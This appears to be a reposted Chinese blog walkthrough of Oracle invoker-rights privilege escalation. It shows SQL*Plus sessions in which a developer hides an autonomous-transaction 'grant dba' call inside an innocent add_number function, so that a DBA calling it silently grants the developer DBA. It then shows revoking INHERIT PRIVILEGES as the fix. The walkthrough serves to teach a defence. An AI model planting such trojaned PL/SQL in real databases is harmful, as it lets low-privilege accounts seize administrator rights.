1. 程式人生 > >在plsql中控制呼叫者許可權

在plsql中控制呼叫者許可權

-- 1,環境建立
SQL> create user sneaky_developer identified by 123;

使用者已建立。

SQL> grant create session,create procedure to sneaky_developer;

授權成功。

SQL> create user normal_user identified by 123;

使用者已建立。

SQL> grant create session to normal_user;

授權成功。

SQL> create user dba_user identified by 123;

使用者已建立。

SQL> grant create session,dba to dba_user;

授權成功。

SQL> conn sneaky_developer/
[email protected]
已連線。 SQL> create or replace function add_number(p1 in number,p2 in number) 2 return number authid current_user 3 as 4 begin 5 return (p1+p2); 6 end; 7 / 函式已建立。 SQL> grant execute on add_number to public; 授權成功。 -- 2,第一次測試 SQL> conn normal_user/[email protected]
; 已連線。 SQL> select sneaky_developer.add_number(1.1,2.2) from dual; SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2) ------------------------------------ 3.3 SQL> conn dba_user/[email protected] 已連線。 SQL> select sneaky_developer.add_number(1.1,2.2) from dual; SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2) ------------------------------------ 3.3 SQL> SELECT grantee 2 FROM dba_role_privs 3 WHERE granted_role = 'DBA' 4 ORDER BY grantee; GRANTEE -------------------------------------------------------------------------------- DBA_USER SYS SYSTEM -- 修改函式 SQL> conn sneaky_developer/
[email protected]
; 已連線。 SQL> create or replace procedure make_me_a_dba authid current_user as 2 pragma autonomous_transaction; 3 begin 4 execute immediate 'grant dba to sneaky_developer'; 5 exception 6 when others then 7 null; 8 end; 9 / 過程已建立。 SQL> create or replace function add_number(p1 in number,p2 in number) 2 return number authid current_user 3 as 4 begin 5 make_me_a_dba; 6 return (p1+p2); 7 end; 8 / 函式已建立。 -- 再次測試 SQL> conn normal_user/[email protected] 已連線。 SQL> select sneaky_developer.add_number(1.1,2.2) from dual; SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2) ------------------------------------ 3.3 SQL> conn dba_user/[email protected] 已連線。 SQL> select sneaky_developer.add_number(1.1,2.2) from dual; SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2) ------------------------------------ 3.3 SQL> select grantee from dba_role_privs where granted_role='DBA'; GRANTEE -------------------------------------------------------------------------------- DBA_USER SNEAKY_DEVELOPER SYSTEM SYS SQL> revoke dba from sneaky_developer; 撤銷成功。 SQL> select grantee from dba_role_privs where granted_role='DBA'; GRANTEE -------------------------------------------------------------------------------- DBA_USER SYSTEM SYS -- 撤銷許可權,第三次測試 SQL> conn [email protected] as sysdba 輸入口令: 已連線。 SQL> revoke inherit privileges on user dba_user from public; 撤銷成功。 SQL> conn dba_user/[email protected] 已連線。 SQL> select grantee from dba_role_privs where granted_role='DBA'; GRANTEE -------------------------------------------------------------------------------- DBA_USER SYSTEM SYS SQL> select sneaky_developer.add_number(1.1,2.2) from dual; select sneaky_developer.add_number(1.1,2.2) from dual * 第 1 行出現錯誤: ORA-06598: INHERIT PRIVILEGES 許可權不足 ORA-06512: 在 "SNEAKY_DEVELOPER.ADD_NUMBER", line 1 SQL> select grantee from dba_role_privs where granted_role='DBA'; GRANTEE -------------------------------------------------------------------------------- DBA_USER SYSTEM SYS -- 文章參考來源:https://oracle-base.com

相關推薦

plsql控制呼叫許可權

-- 1,環境建立 SQL> create user sneaky_developer identified by 123; 使用者已建立。 SQL> grant create session,create procedure to sneaky_devel

在函式打印出呼叫的函式名稱

Linux -c 中列印呼叫函式的名稱 #include <stdio.h> #include <string.h> void func(unsigned char *func_buf) { printf("%s \n",func_buf); }

zookeeper java呼叫許可權控制

import java.io.IOException; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.List; imp

C#實現 子窗體控制呼叫父窗體成員和控制元件

因專案需要,我要在一個子窗體form6中呼叫建立它的父窗體form4的一個combobox的方法和屬性。 網上搜集的,沒有統一答案,試驗了下。 可行方法如下: 在form6的class類定義中加入一個私有成員變數,用來記錄父窗體; private form M; 在f

oracle 在plsql建立procedure並呼叫

Create table create table A   (   USERID NUMBER(38),   PWD VARCHAR2(30)   )   tablespace USERS   pctfree 10   initrans 1   max

odoo8 FormView的one2manymany記錄刪除許可權精細控制

在目前的Odoo8.0版本中,如果FormView有one2many的欄位,many記錄在編輯時,都會在後面顯示一個刪除的小圖示,這個圖示的顯示與否是由統一的許可權管控的,要麼所有明細記錄都顯示,要麼所有明細記錄都不顯示。 在實際的業務需求中,可能需要針對明細記錄作精細控制

springservice呼叫service的事務控制

    在使用SPRING的事務控制時,事務一般都是加在SERVICE層的,這個時候如果一個SERVICE呼叫另一個 SERVICE時有可能會出現事務控制問題,比如第二個SERVICE丟擲了異常,第一個SERVICE卻正常提交了, 比如下面這個例子: 事務配置 <t

C# winform一個類如何呼叫另一個窗體的控制元件或方法

轉載地址:http://blog.csdn.net/ichenqingyun/article/details/52622340 一種是建立窗體物件的方式,通過物件呼叫控制元件或方法 例如: Form1 form1 = new Form1(); form1.Button;

android應用如何在有需要時申請root許可權?在程式呼叫哪些語句來實現?

測試的手機已經root,並且裝有授權管理,允許應用來申請root許可權。但是要怎麼在程式裡寫程式碼來觸發申請?我試過用:Runtime runtime = Runtime.getRuntime();Process proc = runtime.exec("su");是會彈出一個對話方塊問你是否允許申請root

asp.net core mvc許可權控制:在檢視控制操作許可權

public override void Process(TagHelperContext context, TagHelperOutput output)         {             if (string.IsNullOrEmpty(Claim))             {        

『ORACLE』 PLSQL條件控制語句(11g)

lin proc lar plsql 判斷語句 條件 num success end 簡單條件判斷語句 SQL> declare 2 myage number := 10; 3 begin 4 if myage < 11 then 5 dbms

PLSQL的三種參數模式IN、OUT、IN OUT

代碼 問題 ima .cn lang 傳遞 repl 一個 lin 1、IN模式 IN模式是參數的默認模式,這種模式就是在程序運行的時候已經具有值,在程序體中值不會改變。 錯誤例子: 1 create or replace procedure in_proc ( 2

PLSQLPLSQL復合數據類型

next 存儲 int 微軟 sel acl 遊標 復合 lec 1,常見的操作數據庫的技術有那些 jdbc 使用java 訪問數據庫的技術 PLSQL (procedure 過程化sql) 在數據庫內部操作數據的技術 proc/c++

框架頁面盡可以這麽用(後置代碼控制框架)

out get .cn top align lock 顯示 摘要 oct 下面是框架頁: <%@ Page CodeBehind="Frameset.aspx.cs" Language="c#" AutoEventWireup="false" Inherits="Ib

windows控制臺窗口和普通窗口有什麽區別?

都是 adc 同時 寫到 一個 數據 tdi 消息隊列 循環 1. 窗口都是windows標準窗口,有窗口句柄,但是console window沒有消息循環,直接從緩沖區讀數據,顯示數據。 windows中普通窗口都有自己的窗口過程, 我可以使用SetWin

JMeter性能測試控制業務比例

表達 整除 控制 strong 條件 style 兩個 logs 使用 性能測試混合場景中,我們需要組合多個業務操作到場景中來。比如有一個論壇的業務分布如下:發布新帖與回復帖子的比例為2:3,那麽我們在JMeter測試計劃中如何控制其比例呢? 可以通過以下兩種方式解

plsqlnet_day 求下個星期幾 用漢字不能用的辦法

plsql中net_day 中求下個星期幾 用漢字不能用的辦法首先解決plsql中顯示漢字的問題 如果 select sysdate from daul; //顯示的 2017/9/24/星 是這個就能正常用如果不是1、http://10788133.blog.51cto.com/10778133/1968

PLSQL使用二維存儲結構---二維數組

維數 limited syn data 多維數組 loop tput xtran 數組元素 代碼如下: --PLSQL中沒有數組的概念 用TYPE 和Table of Record來代替多維數組--create by jenrry 20171028-- 1.0 建立存放列

PLSQL顯示Cursor、隱示Cursor、動態Ref Cursor差別

不同 number acl res 效率 track 一點 變量 語法 一、顯式cursor 顯式是相對與隱式cursor而言的,就是有一個明白的聲明的curso

3星|《高情商談判》:談判控制情緒非常重要

的人 三種 我們 get 救護車 歸屬感 utf8 表達 溫度 高情商談判 全書強調談判中控制情緒非常重要,並給出一些控制情緒的技巧,給出一些作者編的故事和不多的幾個實例。 用故事說理有點低於我的預期,我以為作者會用數據說理,畢竟作者是哈佛大學的專家。 個人感覺作